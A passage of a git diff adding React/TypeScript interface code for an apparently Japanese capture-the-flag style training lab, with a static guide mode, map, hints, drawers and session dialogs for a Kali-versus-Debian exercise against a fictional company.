+      forgetLiveSession();
+      return resolveBrowseClient();
+    }
+    return { client: liveClient, experience: "live" };
+  } catch {
+    if (!localFallbackRequested) forgetLiveSession();
+    return resolveBrowseClient();
+  }
+}
diff --git a/apps/lab-guide/src/browse.ts b/apps/lab-guide/src/browse.ts
new file mode 100644
index 0000000..afc9062
--- /dev/null
+++ b/apps/lab-guide/src/browse.ts
@@ -0,0 +1,277 @@
+import type {
+  FlagSubmissionResult,
+  LabClient,
+  LabProjection,
+} from "./types";
+
+const browseProjection: LabProjection = {
+  experience: "browse",
+  sessionId: "public-guide",
+  revision: 0,
+  status: "active",
+  heading: "風切モータースの世界を先に歩く",
+  lede:
+    "標的がなくても遊び方を確認できます。演習では発見に合わせて、この地図が変化します。",
+  objective: "必要な機材と安全な接続範囲を理解する",
+  consultationQuestion: "演習を始める前に、どこから確認しますか？",
+  facts: [
+    {
+      id: "public-story",
+      label: "舞台は架空の業務サーバ",
+      detail: "実在する企業やデータは使いません。",
+      icon: "server",
+    },
+    {
+      id: "public-link",
+      label: "KaliとDebianを有線で直結",
+      detail: "許可された標的ノートだけを調査します。",
+      icon: "network",
+    },
+    {
+      id: "public-routes",
+      label: "正解の経路は一つではない",
+      detail: "観察した事実から次の仮説を選びます。",
+      icon: "door",
+    },
+  ],
+  hypotheses: [
+    {
+      id: "browse-safety",
+      label: "最初に調査できる範囲を確認する",
+      summary:
+        "Debian標的だけが演習範囲です。会社LANやインターネットは調査しません。",
+      selected: true,
+      available: true,
+    },
+    {
+      id: "browse-observe",
+      label: "見えている入口を事実として並べる",
+      summary:
+        "すぐに正解を探さず、応答するサービスと画面の違いを記録します。",
+      available: true,
+    },
+    {
+      id: "browse-live",
+      label: "ライブ表示が扱う情報を確認する",
+      summary:
+        "発見した地点と権限変化だけを反映し、生コマンドや秘密は記録しません。",
+      available: true,
+    },
+  ],
+  investigations: [
+    {
+      id: "browse-equipment",
+      label: "必要な機材を確認する",
+      summary: "Debianノート、Kali、有線LANの役割を見ます。",
+      icon: "network",
+      hypothesisId: "browse-safety",
+    },
+    {
+      id: "browse-method",
+      label: "探索の進め方を知る",
+      summary: "観察、仮説、試行、説明の順で進めます。",
+      icon: "browser",
+      hypothesisId: "browse-observe",
+    },
+    {
+      id: "browse-privacy",
+      label: "記録される情報を知る",
+      summary: "教材イベントと端末監視の違いを確認します。",
+      icon: "file",
+      hypothesisId: "browse-live",
+    },
+  ],
+  graph: {
+    nodes: [
+      {
+        id: "browse-kali",
+        label: "Kali",
+        detail: "観察と攻撃を行う側",
+        icon: "terminal",
+        state: "discovered",
+        position: { x: 40, y: 260 },
+      },
+      {
+        id: "browse-link",
+        label: "直結Ethernet",
+        detail: "演習専用の有線経路",
+        icon: "network",
+        state: "discovered",
+        position: { x: 285, y: 260 },
+      },
+      {
+        id: "browse-target",
+        label: "Debian標的",
+        detail: "風切モータースの業務環境",
+        icon: "server",
+        state: "selected",
+        position: { x: 535, y: 260 },
+      },
+      {
+        id: "browse-unknown-a",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 190, y: 70 },
+      },
+      {
+        id: "browse-unknown-b",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 430, y: 70 },
+      },
+      {
+        id: "browse-unknown-c",
+        label: "未発見",
+        icon: "file",
+        state: "undiscovered",
+        position: { x: 430, y: 455 },
+      },
+    ],
+    edges: [
+      {
+        id: "browse-kali-link",
+        from: "browse-kali",
+        to: "browse-link",
+        state: "known",
+      },
+      {
+        id: "browse-link-target",
+        from: "browse-link",
+        to: "browse-target",
+        state: "known",
+      },
+      {
+        id: "browse-target-a",
+        from: "browse-target",
+        to: "browse-unknown-a",
+        state: "possible",
+      },
+      {
+        id: "browse-target-b",
+        from: "browse-target",
+        to: "browse-unknown-b",
+        state: "possible",
+      },
+      {
+        id: "browse-target-c",
+        from: "browse-target",
+        to: "browse-unknown-c",
+        state: "possible",
+      },
+    ],
+  },
+  hints: [
+    {
+      id: "browse-safety:1",
+      step: 1,
+      title: "見る場所",
+      state: "unlocked",
+      body: "有線接続の両端がKaliとDebian標的だけであることを確認します。",
+    },
+    {
+      id: "browse-safety:2",
+      step: 2,
+      title: "使う道具",
+      state: "available",
+      body: "Kaliのネットワーク設定で、有線側の接続先を確認します。",
+      condition: "「見る場所」を確認すると開けます",
+    },
+    {
+      id: "browse-safety:3",
+      step: 3,
+      title: "操作例",
+      state: "locked",
+      body: "運営者が配布した接続確認だけを実行します。",
+      condition: "「使う道具」を確認すると開けます",
+    },
+  ],
+  progress: {
+    discovered: 0,
+    total: 14,
+  },
+  recentEvents: [],
+  telemetry: {
+    status: "browse",
+    message: "公開ガイドを表示中。ライブセッションには未接続です",
+  },
+  capabilities: {
+    manualFlagSubmission: false,
+  },
+};
+
+function cloneProjection(value: LabProjection): LabProjection {
+  return structuredClone(value);
+}
+
+class BrowseLabClient implements LabClient {
+  private projection = cloneProjection(browseProjection);
+  private listeners = new Set<(projection: LabProjection) => void>();
+
+  async getState(): Promise<LabProjection> {
+    return cloneProjection(this.projection);
+  }
+
+  subscribe(onProjection: (projection: LabProjection) => void): () => void {
+    this.listeners.add(onProjection);
+    return () => this.listeners.delete(onProjection);
+  }
+
+  private publish(): LabProjection {
+    this.projection.revision += 1;
+    const snapshot = cloneProjection(this.projection);
+    this.listeners.forEach((listener) => listener(snapshot));
+    return snapshot;
+  }
+
+  async selectHypothesis(id: string): Promise<LabProjection> {
+    const selected = this.projection.hypotheses.find(
+      (hypothesis) => hypothesis.id === id,
+    );
+    if (!selected) throw new Error("unknown_public_hypothesis");
+
+    this.projection.hypotheses = this.projection.hypotheses.map(
+      (hypothesis) => ({
+        ...hypothesis,
+        selected: hypothesis.id === id,
+      }),
+    );
+    return this.publish();
+  }
+
+  async unlockHint(id: string): Promise<LabProjection> {
+    const ordered = [...this.projection.hints].sort(
+      (left, right) => left.step - right.step,
+    );
+    const targetIndex = ordered.findIndex((hint) => hint.id === id);
+    if (
+      targetIndex < 0 ||
+      ordered
+        .slice(0, targetIndex)
+        .some((hint) => hint.state !== "unlocked")
+    ) {
+      throw new Error("public_hint_locked");
+    }
+
+    this.projection.hints = this.projection.hints.map((hint) =>
+      hint.id === id
+        ? { ...hint, state: "unlocked", condition: undefined }
+        : hint.id === ordered[targetIndex + 1]?.id && hint.state === "locked"
+          ? { ...hint, state: "available" }
+          : hint,
+    );
+    return this.publish();
+  }
+
+  async submitFlag(_flag: string): Promise<FlagSubmissionResult> {
+    return {
+      accepted: false,
+      message: "公開ガイドではflagを送信しません。",
+    };
+  }
+}
+
+export function createBrowseClient(): LabClient {
+  return new BrowseLabClient();
+}
diff --git a/apps/lab-guide/src/components/AppHeader.tsx b/apps/lab-guide/src/components/AppHeader.tsx
new file mode 100644
index 0000000..5c480a2
--- /dev/null
+++ b/apps/lab-guide/src/components/AppHeader.tsx
@@ -0,0 +1,129 @@
+import {
+  IconLogout2,
+  IconMap2,
+  IconMessageCircleQuestion,
+  IconPalette,
+  IconShield,
+} from "@tabler/icons-react";
+import { useRef } from "react";
+import { THEME_OPTIONS, type ThemeMode } from "../theme";
+import type { ExperienceMode, ScreenId } from "../types";
+
+interface AppHeaderProps {
+  activeScreen: ScreenId;
+  onScreenChange: (screen: ScreenId) => void;
+  onEnd: () => void;
+  sessionEnded: boolean;
+  experience: ExperienceMode;
+  theme: ThemeMode;
+  onThemeChange: (theme: ThemeMode) => void;
+}
+
+export function AppHeader({
+  activeScreen,
+  onScreenChange,
+  onEnd,
+  sessionEnded,
+  experience,
+  theme,
+  onThemeChange,
+}: AppHeaderProps) {
+  const themeMenuRef = useRef<HTMLDetailsElement>(null);
+  const activeTheme =
+    THEME_OPTIONS.find((option) => option.id === theme) ?? THEME_OPTIONS[0];
+
+  const selectTheme = (nextTheme: ThemeMode) => {
+    onThemeChange(nextTheme);
+    themeMenuRef.current?.removeAttribute("open");
+  };
+
+  return (
+    <header className="app-header">
+      <div className="brand-lockup" aria-label="ExamServer 実践ラボ">
+        <IconShield aria-hidden="true" stroke={1.7} />
+        <span className="brand-name">ExamServer</span>
+        <span className="brand-divider" aria-hidden="true" />
+        <span className="brand-lab">
+          <span>OPEN WORLD</span>
+          実践ラボ
+        </span>
+      </div>
+
+      <nav className="primary-nav" aria-label="ラボ内の画面">
+        <button
+          type="button"
+          className="nav-tab"
+          aria-current={activeScreen === "map" ? "page" : undefined}
+          onClick={() => onScreenChange("map")}
+        >
+          <IconMap2 aria-hidden="true" />
+          探索地図
+        </button>
+        <button
+          type="button"
+          className="nav-tab"
+          aria-current={activeScreen === "consultation" ? "page" : undefined}
+          onClick={() => onScreenChange("consultation")}
+        >
+          <IconMessageCircleQuestion aria-hidden="true" />
+          状況相談
+        </button>
+      </nav>
+
+      <div className="header-actions">
+        <span className={`experience-label experience-label--${experience}`}>
+          {experience === "live" ? "ライブ演習" : "公開ガイド"}
+        </span>
+        <details
+          ref={themeMenuRef}
+          className="theme-menu"
+          onBlur={(event) => {
+            if (!event.currentTarget.contains(event.relatedTarget)) {
+              event.currentTarget.removeAttribute("open");
+            }
+          }}
+          onKeyDown={(event) => {
+            if (event.key === "Escape") {
+              event.currentTarget.removeAttribute("open");
+              event.currentTarget.querySelector("summary")?.focus();
+            }
+          }}
+        >
+          <summary aria-label={`見た目 ${activeTheme.label}`}>
+            <IconPalette aria-hidden="true" />
+            <span>見た目</span>
+            <strong>{activeTheme.label}</strong>
+          </summary>
+          <div className="theme-menu-options" role="group" aria-label="表示テーマ">
+            {THEME_OPTIONS.map((option) => (
+              <button
+                key={option.id}
+                type="button"
+                aria-label={`${option.label} ${option.description}`}
+                aria-pressed={theme === option.id}
+                title={`${option.label} - ${option.description}`}
+                onClick={() => selectTheme(option.id)}
+              >
+                <span>{option.label}</span>
+                <small>{option.description}</small>
+              </button>
+            ))}
+          </div>
+        </details>
+
+        {experience === "live" ? (
+          <button
+            type="button"
+            className="end-session-button"
+            aria-label={sessionEnded ? "演習は終了済み" : "演習を終了"}
+            onClick={onEnd}
+            disabled={sessionEnded}
+          >
+            <IconLogout2 aria-hidden="true" />
+            <span>{sessionEnded ? "終了しました" : "演習を終了"}</span>
+          </button>
+        ) : null}
+      </div>
+    </header>
+  );
+}
diff --git a/apps/lab-guide/src/components/AppIcon.tsx b/apps/lab-guide/src/components/AppIcon.tsx
new file mode 100644
index 0000000..d7a6f6f
--- /dev/null
+++ b/apps/lab-guide/src/components/AppIcon.tsx
@@ -0,0 +1,37 @@
+import type { ComponentType } from "react";
+import {
+  IconBrowser,
+  IconCalendarEvent,
+  IconDoor,
+  IconFileDescription,
+  IconFolder,
+  IconNetwork,
+  IconServer2,
+  IconTerminal2,
+  IconUser,
+  IconWorld,
+  type IconProps,
+} from "@tabler/icons-react";
+import type { IconKey } from "../types";
+
+const icons: Record<IconKey, ComponentType<IconProps>> = {
+  browser: IconBrowser,
+  calendar: IconCalendarEvent,
+  door: IconDoor,
+  file: IconFileDescription,
+  folder: IconFolder,
+  globe: IconWorld,
+  network: IconNetwork,
+  server: IconServer2,
+  terminal: IconTerminal2,
+  user: IconUser,
+};
+
+interface AppIconProps extends IconProps {
+  name: IconKey;
+}
+
+export function AppIcon({ name, ...props }: AppIconProps) {
+  const Icon = icons[name];
+  return <Icon aria-hidden="true" focusable="false" {...props} />;
+}
diff --git a/apps/lab-guide/src/components/ConnectionBanner.tsx b/apps/lab-guide/src/components/ConnectionBanner.tsx
new file mode 100644
index 0000000..70c321f
--- /dev/null
+++ b/apps/lab-guide/src/components/ConnectionBanner.tsx
@@ -0,0 +1,73 @@
+import {
+  IconAlertCircle,
+  IconBook2,
+  IconLoader2,
+  IconPlugConnected,
+  IconRefresh,
+  IconWifiOff,
+} from "@tabler/icons-react";
+import type { ConnectionStatus } from "../types";
+
+interface ConnectionBannerProps {
+  status: ConnectionStatus;
+  message?: string;
+  refreshing: boolean;
+  onRefresh: () => void;
+}
+
+export function ConnectionBanner({
+  status,
+  message,
+  refreshing,
+  onRefresh,
+}: ConnectionBannerProps) {
+  if (status === "live") return null;
+
+  const content = {
+    browse: {
+      icon: <IconBook2 aria-hidden="true" />,
+      title: "公開ガイドを表示しています",
+      body:
+        message ??
+        "標的がなくても世界と遊び方を確認できます。演習時だけライブ接続します。",
+    },
+    waiting: {
+      icon: <IconPlugConnected aria-hidden="true" />,
+      title: "Kali Bridgeを待っています",
+      body:
+        message ??
+        "接続コードは確認できました。Bridgeが最初の状態を送ると自動で切り替わります。",
+    },
+    loading: {
+      icon: <IconLoader2 className="spin" aria-hidden="true" />,
+      title: "状態を更新しています",
+      body: message ?? "最後に確認した内容を残したまま、新しい状態を読み込みます。",
+    },
+    reconnecting: {
+      icon: <IconWifiOff aria-hidden="true" />,
+      title: "自動接続を戻しています",
+      body: message ?? "画面の選択内容は失われません。しばらく待つか、再読込してください。",
+    },
+    unavailable: {
+      icon: <IconAlertCircle aria-hidden="true" />,
+      title: "自動検出を利用できません",
+      body: message ?? "探索は続けられます。必要ならflagを手動で提出してください。",
+    },
+  }[status];
+
+  return (
+    <div className={`connection-banner connection-banner--${status}`} role="status">
+      {content.icon}
+      <div>
+        <strong>{content.title}</strong>
+        <span>{content.body}</span>
+      </div>
+      {status !== "loading" && status !== "browse" ? (
+        <button type="button" onClick={onRefresh} disabled={refreshing}>
+          <IconRefresh aria-hidden="true" />
+          {refreshing ? "確認中" : "再読込"}
+        </button>
+      ) : null}
+    </div>
+  );
+}
diff --git a/apps/lab-guide/src/components/DisclosureDrawer.tsx b/apps/lab-guide/src/components/DisclosureDrawer.tsx
new file mode 100644
index 0000000..5b3510a
--- /dev/null
+++ b/apps/lab-guide/src/components/DisclosureDrawer.tsx
@@ -0,0 +1,163 @@
+import { IconGripVertical, IconX } from "@tabler/icons-react";
+import {
+  type KeyboardEvent,
+  type ReactNode,
+  useEffect,
+  useId,
+  useRef,
+} from "react";
+
+const FOCUSABLE_SELECTOR = [
+  "a[href]",
+  "button:not([disabled])",
+  "input:not([disabled])",
+  "select:not([disabled])",
+  "textarea:not([disabled])",
+  "[tabindex]:not([tabindex='-1'])",
+].join(",");
+
+interface DisclosureDrawerProps {
+  id: string;
+  open: boolean;
+  title: string;
+  onClose: () => void;
+  children: ReactNode;
+}
+
+export function DisclosureDrawer({
+  id,
+  open,
+  title,
+  onClose,
+  children,
+}: DisclosureDrawerProps) {
+  const titleId = useId();
+  const drawerRef = useRef<HTMLElement>(null);
+  const closeRef = useRef<HTMLButtonElement>(null);
+  const returnFocusRef = useRef<HTMLElement | null>(null);
+
+  useEffect(() => {
+    if (!open) return;
+
+    returnFocusRef.current =
+      document.activeElement instanceof HTMLElement
+        ? document.activeElement
+        : null;
+    const previousOverflow = document.body.style.overflow;
+    document.body.style.overflow = "hidden";
+    closeRef.current?.focus();
+
+    return () => {
+      document.body.style.overflow = previousOverflow;
+      returnFocusRef.current?.focus();
+    };
+  }, [open]);
+
+  if (!open) return null;
+
+  const handleKeyDown = (event: KeyboardEvent<HTMLElement>) => {
+    if (event.key === "Escape") {
+      event.preventDefault();
+      onClose();
+      return;
+    }
+    if (event.key !== "Tab") return;
+
+    const focusable = Array.from(
+      drawerRef.current?.querySelectorAll<HTMLElement>(FOCUSABLE_SELECTOR) ?? [],
+    ).filter((element) => element.getAttribute("aria-hidden") !== "true");
+    if (focusable.length === 0) {
+      event.preventDefault();
+      closeRef.current?.focus();
+      return;
+    }
+
+    const first = focusable[0];
+    const last = focusable[focusable.length - 1];
+    const active = document.activeElement;
+    if (event.shiftKey && active === first) {
+      event.preventDefault();
+      last.focus();
+    } else if (!event.shiftKey && active === last) {
+      event.preventDefault();
+      first.focus();
+    } else if (!drawerRef.current?.contains(active)) {
+      event.preventDefault();
+      first.focus();
+    }
+  };
+
+  return (
+    <div
+      className="disclosure-layer"
+      onMouseDown={(event) => {
+        if (event.target === event.currentTarget) onClose();
+      }}
+    >
+      <section
+        ref={drawerRef}
+        id={id}
+        className="disclosure-drawer"
+        role="dialog"
+        aria-modal="true"
+        aria-labelledby={titleId}
+        onKeyDown={handleKeyDown}
+      >
+        <header className="disclosure-drawer-header">
+          <span className="disclosure-drawer-grip" aria-hidden="true">
+            <IconGripVertical />
+          </span>
+          <h2 id={titleId}>{title}</h2>
+          <button
+            ref={closeRef}
+            type="button"
+            className="disclosure-close"
+            aria-label={`${title}を閉じる`}
+            onClick={onClose}
+          >
+            <IconX aria-hidden="true" />
+          </button>
+        </header>
+        <div className="disclosure-drawer-body">{children}</div>
+      </section>
+    </div>
+  );
+}
+
+interface DisclosurePullProps {
+  label: string;
+  meta?: string;
+  icon: ReactNode;
+  controls: string;
+  open: boolean;
+  onClick: () => void;
+}
+
+export function DisclosurePull({
+  label,
+  meta,
+  icon,
+  controls,
+  open,
+  onClick,
+}: DisclosurePullProps) {
+  const accessibleMeta = meta ? `、${meta}` : "";
+
+  return (
+    <button
+      type="button"
+      className="disclosure-pull"
+      aria-expanded={open}
+      aria-controls={controls}
+      aria-label={`${label}${accessibleMeta}を開く`}
+      onClick={onClick}
+    >
+      <span className="disclosure-pull-cord" aria-hidden="true" />
+      <span className="disclosure-pull-icon" aria-hidden="true">
+        {icon}
+      </span>
+      <span className="disclosure-pull-label">{label}</span>
+      {meta ? <span className="disclosure-pull-meta">{meta}</span> : null}
+    </button>
+  );
+}
diff --git a/apps/lab-guide/src/components/EndSessionDialog.tsx b/apps/lab-guide/src/components/EndSessionDialog.tsx
new file mode 100644
index 0000000..bad78b7
--- /dev/null
+++ b/apps/lab-guide/src/components/EndSessionDialog.tsx
@@ -0,0 +1,102 @@
+import { IconAlertTriangle, IconLogout2, IconX } from "@tabler/icons-react";
+import { useEffect, useRef } from "react";
+
+interface EndSessionDialogProps {
+  open: boolean;
+  onCancel: () => void;
+  onConfirm: () => void;
+}
+
+export function EndSessionDialog({
+  open,
+  onCancel,
+  onConfirm,
+}: EndSessionDialogProps) {
+  const dialogRef = useRef<HTMLElement>(null);
+  const cancelRef = useRef<HTMLButtonElement>(null);
+  const previousFocusRef = useRef<HTMLElement | null>(null);
+
+  useEffect(() => {
+    if (!open) return;
+    previousFocusRef.current =
+      document.activeElement instanceof HTMLElement
+        ? document.activeElement
+        : null;
+    cancelRef.current?.focus();
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (event.key === "Escape") {
+        event.preventDefault();
+        onCancel();
+        return;
+      }
+      if (event.key !== "Tab") return;
+
+      const focusable = Array.from(
+        dialogRef.current?.querySelectorAll<HTMLElement>(
+          "button:not(:disabled), [href], input:not(:disabled), select:not(:disabled), textarea:not(:disabled), [tabindex]:not([tabindex='-1'])",
+        ) ?? [],
+      );
+      if (focusable.length === 0) {
+        event.preventDefault();
+        return;
+      }
+
+      const first = focusable[0];
+      const last = focusable[focusable.length - 1];
+      if (event.shiftKey && document.activeElement === first) {
+        event.preventDefault();
+        last.focus();
+      } else if (
+        !event.shiftKey &&
+        (document.activeElement === last ||
+          !dialogRef.current?.contains(document.activeElement))
+      ) {
+        event.preventDefault();
+        first.focus();
+      }
+    };
+    document.addEventListener("keydown", onKeyDown);
+    return () => {
+      document.removeEventListener("keydown", onKeyDown);
+      previousFocusRef.current?.focus();
+    };
+  }, [onCancel, open]);
+
+  if (!open) return null;
+
+  return (
+    <div className="dialog-backdrop">
+      <section
+        ref={dialogRef}
+        className="end-session-dialog"
+        role="dialog"
+        aria-modal="true"
+        aria-labelledby="end-session-title"
+        aria-describedby="end-session-description"
+      >
+        <button
+          type="button"
+          className="dialog-close"
+          aria-label="閉じる"
+          onClick={onCancel}
+        >
+          <IconX aria-hidden="true" />
+        </button>
+        <IconAlertTriangle className="dialog-symbol" aria-hidden="true" />
+        <h2 id="end-session-title">演習を終了しますか？</h2>
+        <p id="end-session-description">
+          この画面を終了しても、標的ノートは初期化されません。終了後は運営者へ復旧を依頼してください。
+        </p>
+        <div className="dialog-actions">
+          <button type="button" className="secondary-button" onClick={onCancel} ref={cancelRef}>
+            探索を続ける
+          </button>
+          <button type="button" className="danger-button" onClick={onConfirm}>
+            <IconLogout2 aria-hidden="true" />
+            終了する
+          </button>
+        </div>
+      </section>
+    </div>
+  );
+}
diff --git a/apps/lab-guide/src/components/EventStrip.tsx b/apps/lab-guide/src/components/EventStrip.tsx
new file mode 100644
index 0000000..6b3a171
--- /dev/null
+++ b/apps/lab-guide/src/components/EventStrip.tsx
@@ -0,0 +1,67 @@
+import {
+  IconActivityHeartbeat,
+  IconBook2,
+  IconCircleCheckFilled,
+  IconListDetails,
+} from "@tabler/icons-react";
+import type { ConnectionStatus, RecentEvent } from "../types";
+
+interface EventStripProps {
+  events: RecentEvent[];
+  connectionStatus: ConnectionStatus;
+  connectionMessage?: string;
+  fullWidth?: boolean;
+  showHeading?: boolean;
+}
+
+export function EventStrip({
+  events,
+  connectionStatus,
+  connectionMessage,
+  fullWidth = false,
+  showHeading = true,
+}: EventStripProps) {
+  return (
+    <section
+      className={`event-strip ${fullWidth ? "event-strip--full" : ""}`}
+      aria-labelledby={showHeading ? "recent-events-title" : undefined}
+      aria-label={showHeading ? undefined : "最近の発見"}
+    >
+      {showHeading ? (
+        <h2 id="recent-events-title">
+          <IconListDetails aria-hidden="true" />
+          最近の発見
+        </h2>
+      ) : null}
+      {events.length > 0 ? (
+        <ol className="event-list">
+          {events.map((event) => (
+            <li key={event.id}>
+              <time>{event.at}</time>
+              <span>{event.message}</span>
+            </li>
+          ))}
+        </ol>
+      ) : (
+        <p className="events-empty">接続を確認すると、ここに発見が並びます。</p>
+      )}
+      <div className={`telemetry-note telemetry-note--${connectionStatus}`}>
+        {connectionStatus === "live" ? (
+          <IconCircleCheckFilled aria-hidden="true" />
+        ) : connectionStatus === "browse" ? (
+          <IconBook2 aria-hidden="true" />
+        ) : (
+          <IconActivityHeartbeat aria-hidden="true" />
+        )}
+        <span>
+          {connectionMessage ??
+            (connectionStatus === "live"
+              ? "自動検出は教材イベントだけを記録します"
+              : connectionStatus === "browse"
+                ? "公開ガイドです。攻撃の進行データは表示していません"
+              : "状態を確認しています")}
+        </span>
+      </div>
+    </section>
+  );
+}
diff --git a/apps/lab-guide/src/components/ExplorationMap.tsx b/apps/lab-guide/src/components/ExplorationMap.tsx
new file mode 100644
index 0000000..55c59db
--- /dev/null
+++ b/apps/lab-guide/src/components/ExplorationMap.tsx
@@ -0,0 +1,367 @@
+import {
+  IconBulb,
+  IconChevronRight,
+  IconCircleCheck,
+  IconCircleDashed,
+  IconCircleDot,
+  IconCompass,
+  IconListCheck,
+  IconListDetails,
+  IconMap2,
+  IconPlugConnected,
+  IconRoute,
+  IconTargetArrow,
+} from "@tabler/icons-react";
+import { useEffect, useMemo, useRef, useState } from "react";
+import type {
+  ConnectionStatus,
+  ExperienceMode,
+  FlagSubmissionResult,
+  LabProjection,
+} from "../types";
+import { AppIcon } from "./AppIcon";
+import { ConnectionBanner } from "./ConnectionBanner";
+import {
+  DisclosureDrawer,
+  DisclosurePull,
+} from "./DisclosureDrawer";
+import { EventStrip } from "./EventStrip";
+import { KnownFacts } from "./KnownFacts";
+import { ManualFlagForm } from "./ManualFlagForm";
+import { MapCanvas } from "./MapCanvas";
+import { SessionPairingPanel } from "./SessionPairingPanel";
+
+interface ExplorationMapProps {
+  projection: LabProjection;
+  connectionStatus: ConnectionStatus;
+  pendingAction: string | null;
+  onRefresh: () => void;
+  onOpenConsultation: (hypothesisId?: string) => void;
+  onSubmitFlag: (
+    flag: string,
+  ) => Promise<FlagSubmissionResult | undefined>;
+  experience: ExperienceMode;
+  pairingPending: boolean;
+  pairingError?: string;
+  onPairSession: (code: string) => Promise<boolean>;
+}
+
+type MapDisclosure = "pairing" | "facts" | "investigations" | "events";
+
+export function ExplorationMap({
+  projection,
+  connectionStatus,
+  pendingAction,
+  onRefresh,
+  onOpenConsultation,
+  onSubmitFlag,
+  experience,
+  pairingPending,
+  pairingError,
+  onPairSession,
+}: ExplorationMapProps) {
+  const initiallySelected = useMemo(
+    () =>
+      projection.graph.nodes.find((node) => node.state === "selected")?.id ??
+      projection.graph.nodes.find((node) => node.state === "discovered")?.id,
+    [projection.graph.nodes],
+  );
+  const [selectedNodeId, setSelectedNodeId] = useState(initiallySelected);
+  const [liveUpdate, setLiveUpdate] = useState(false);
+  const [activeDisclosure, setActiveDisclosure] =
+    useState<MapDisclosure | null>(null);
+  const previousRevision = useRef(projection.revision);
+  const selectedNode = useMemo(
+    () =>
+      projection.graph.nodes.find((node) => node.id === selectedNodeId),
+    [projection.graph.nodes, selectedNodeId],
+  );
+
+  useEffect(() => {
+    setSelectedNodeId((currentSelection) => {
+      const selectableNodes = projection.graph.nodes.filter(
+        (node) => node.state !== "undiscovered",
+      );
+      if (
+        currentSelection &&
+        selectableNodes.some((node) => node.id === currentSelection)
+      ) {
+        return currentSelection;
+      }
+      return (
+        selectableNodes.find((node) => node.state === "selected")?.id ??
+        selectableNodes[0]?.id
+      );
+    });
+  }, [projection.graph.nodes, projection.revision]);
+
+  useEffect(() => {
+    if (
+      experience === "live" &&
+      projection.revision > previousRevision.current
+    ) {
+      setLiveUpdate(true);
+      const timer = window.setTimeout(() => setLiveUpdate(false), 420);
+      previousRevision.current = projection.revision;
+      return () => window.clearTimeout(timer);
+    }
+    previousRevision.current = projection.revision;
+  }, [experience, projection.revision]);
+
+  useEffect(() => {
+    if (experience === "live" && activeDisclosure === "pairing") {
+      setActiveDisclosure(null);
+    }
+  }, [activeDisclosure, experience]);
+
+  const drawerId = "map-disclosure-drawer";
+  const drawerTitle =
+    activeDisclosure === "pairing"
+      ? "ライブ接続"
+      : activeDisclosure === "facts"
+        ? "分かっていること"
+        : activeDisclosure === "investigations"
+          ? "次の調査"
+          : "最近の発見";
+
+  const openConsultation = (hypothesisId?: string) => {
+    setActiveDisclosure(null);
+    onOpenConsultation(hypothesisId);
+  };
+
+  return (
+    <main
+      className={`lab-screen map-screen map-screen--${experience} ${liveUpdate ? "is-live-update" : ""}`}
+    >
+      <section className="map-stage">
+        {experience === "live" ? (
+          <ConnectionBanner
+            status={connectionStatus}
+            message={projection.telemetry.message}
+            refreshing={pendingAction === "refresh"}
+            onRefresh={onRefresh}
+          />
+        ) : null}
+        <header className="stage-intro">
+          <h1>{projection.heading}</h1>
+          <p>{projection.lede}</p>
+        </header>
+
+        <section className="stage-context" aria-label="現在の目標">
+          <IconTargetArrow aria-hidden="true" />
+          <div>
+            <small>現在の目標</small>
+            <strong>{projection.objective}</strong>
+          </div>
+          {experience === "live" ? (
+            <span
+              role="progressbar"
+              aria-label={`${projection.progress.total}件中${projection.progress.discovered}件を発見`}
+              aria-valuemin={0}
+              aria-valuemax={projection.progress.total}
+              aria-valuenow={projection.progress.discovered}
+            >
+              {projection.progress.discovered}
+              <small aria-hidden="true"> / </small>
+              {projection.progress.total}
+              <span className="sr-only">件中を発見</span>
+            </span>
+          ) : null}
+        </section>
+
+        <nav className="disclosure-pulls" aria-label="必要な情報を開く">
+          {experience === "browse" ? (
+            <DisclosurePull
+              label="ライブ接続"
+              meta="6文字"
+              icon={<IconPlugConnected />}
+              controls={drawerId}
+              open={activeDisclosure === "pairing"}
+              onClick={() => setActiveDisclosure("pairing")}
+            />
+          ) : null}
+          <DisclosurePull
+            label="事実"
+            meta={`${projection.facts.length}件`}
+            icon={<IconListCheck />}
+            controls={drawerId}
+            open={activeDisclosure === "facts"}
+            onClick={() => setActiveDisclosure("facts")}
+          />
+          <DisclosurePull
+            label="次の調査"
+            meta={`${projection.investigations.slice(0, 3).length}件`}
+            icon={<IconCompass />}
+            controls={drawerId}
+            open={activeDisclosure === "investigations"}
+            onClick={() => setActiveDisclosure("investigations")}
+          />
+          <DisclosurePull
+            label="最近の発見"
+            meta={`${projection.recentEvents.length}件`}
+            icon={<IconListDetails />}
+            controls={drawerId}
+            open={activeDisclosure === "events"}
+            onClick={() => setActiveDisclosure("events")}
+          />
+        </nav>
+
+        {projection.status === "complete" ? (
+          <section className="success-callout" aria-labelledby="success-title">
+            <IconRoute aria-hidden="true" />
+            <div>
+              <strong id="success-title">入口からrootまでの経路がつながりました</strong>
+              <span>見つけた事実を順にたどり、権限が変わった理由を説明してみましょう。</span>
+            </div>
+          </section>
+        ) : null}
+
+        <div className="map-toolbar">
+          <h2>
+            <IconMap2 aria-hidden="true" />
+            探索地図
+          </h2>
+          <details className="map-legend-details">
+            <summary>地図記号</summary>
+            <div className="map-legend" aria-label="地図の状態">
+              <span>
+                <IconCircleCheck aria-hidden="true" /> 発見済み
+              </span>
+              <span>
+                <IconCircleDot aria-hidden="true" /> 選択中
+              </span>
+              <span>
+                <IconCircleDashed aria-hidden="true" /> 未発見
+              </span>
+            </div>
+          </details>
+        </div>
+
+        <MapCanvas
+          projection={projection}
+          selectedNodeId={selectedNodeId}
+          onSelectNode={setSelectedNodeId}
+        />
+
+        {selectedNode && selectedNode.state !== "undiscovered" ? (
+          <section
+            className="selected-node-brief"
+            aria-label={`選択中の地点 ${selectedNode.label}`}
+          >
+            <span className="selected-node-symbol" aria-hidden="true">
+              <AppIcon name={selectedNode.icon} stroke={1.7} />
+            </span>
+            <div className="selected-node-copy">
+              <small>選択中の地点</small>
+              <strong>{selectedNode.label}</strong>
+              <span>
+                {selectedNode.detail ??
+                  "この地点で得た事実を、次の仮説につなげます。"}
+              </span>
+            </div>
+            {selectedNode.progress ? (
+              <span className="selected-node-progress">
+                {selectedNode.progress}
+              </span>
+            ) : null}
+            <button
+              type="button"
+              onClick={() => openConsultation()}
+            >
+              次の一手
+              <IconChevronRight aria-hidden="true" />
+            </button>
+          </section>
+        ) : null}
+      </section>
+
+      <DisclosureDrawer
+        id={drawerId}
+        open={activeDisclosure !== null}
+        title={drawerTitle}
